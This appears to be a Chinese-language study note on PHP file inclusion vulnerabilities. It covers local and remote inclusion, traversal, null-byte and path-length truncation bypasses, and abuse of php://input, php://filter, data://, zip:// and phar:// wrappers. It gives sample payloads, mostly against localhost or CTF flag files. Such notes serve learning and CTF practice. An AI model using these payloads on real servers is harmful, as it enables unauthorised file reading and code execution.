文件包含漏洞总结
注:菜鸡笔记,酌情参考
原理
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,利用文件包含的函数引入其他文件,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
危害
任意文件读取,代码注入等
##常见文件包含函数
php :
include():程序运行到了include()函数时才会包含文件,若没有包含的文件,程序依然会继续运行
require():程序一开始运行就包含文件,若没有包含的文件,则终止程序
include_once()/require_once():include_once()和require_once():如文件包含被运行了,则不会运行第二次
fopen()
jsp/Servlet:
ava.io,file(), java.io,filereader()
asp:
include file, include virtual
本地包含
###一,无限制:
跨越多级目录时可以用 …/ 表示多余的目录
eg:E:\phpstudy8.1\phpstudy_pro\WWW\text.txt —> …/…/…/www.text.
目录遍历:
?file=./../../test.txt
###二,有限制:
源码:
include($filename); —>include($filename.".html");
为了限制,强行将所包含文件加上 .html 后缀 当作html文件执行,而又因为在www下不存在text.txt.html这个文件 所以无法执行.
###绕过方法:
1,00截断:(前提php版本小于5.3.4) eg:text.txt%00.html 会解析成为text.txt 将后面的.html截断
2,长度截断:( 服务器的操作系统,不是本机的操作系统) windows,点号长度大于256 linux,点号长度大于4096
eg:text.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断:(条件:windows:长度大于256) text.txt…
远程包含
PHP的配置文件\allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
###一,无限制:
###二,有限制:
测试代码:<?php include($_GET['filename'] . ".html"); ?>
1,问号绕过
2,#号绕过
3,用burpsuite跑一遍,寻找可绕过的
php伪协议
http://cn2.php.net/manual/zh/wrappers.php
file:///var/www/html 访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs
data:// 数据流 http:// — 访问 HTTP(s) URLs
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流
zlib:// — 压缩流 data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR ogg:// — Audio streams
expect:// — 处理交互式的流
php://
一,php://input
作用:可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在 enctype="multipart/form-data"的时候php://input是无效的
?file=php://input POST: <? phpinfo();?> //用POST方式写入<?php phpinfo(); ?>
二,php://filter
?file=php://filter/read=convert.base64-encode/resource=flag.php
//以base64编码读取flag.php文件
三,php://output
作用:只写的数据流,允许以print和echo一样的方式写入到输出缓冲区
四,php://fd
作用:允许直接访问指定的文件描述符
php://fd/3 //引用文件描述符3
五,php://memory 或php://remp
作用:一个类似文件包装的数据流,允许写入临时数据,两者的唯一区别是php://memory把数据存在内存中,php://temp会在内存量达到预定义限制后(默认2mb)存入临时文件
data://
作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
条件: allow_url_include=On
allow_url_fopen:on
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,base64编码的payload
eg:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
//PD9waHAgcGhwaW5mbygpOz8=base64_decode(<?php phpinfo;?>)
file://
作用:用于访问本地文件系统,在CTF中通常用来读取本地文件
条件:
allow_url_fopen:off/on
allow_url_include :off/on
用法:
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
zip://& bzip2:// & zlib😕/
作用:
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
###phar://
作用:phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt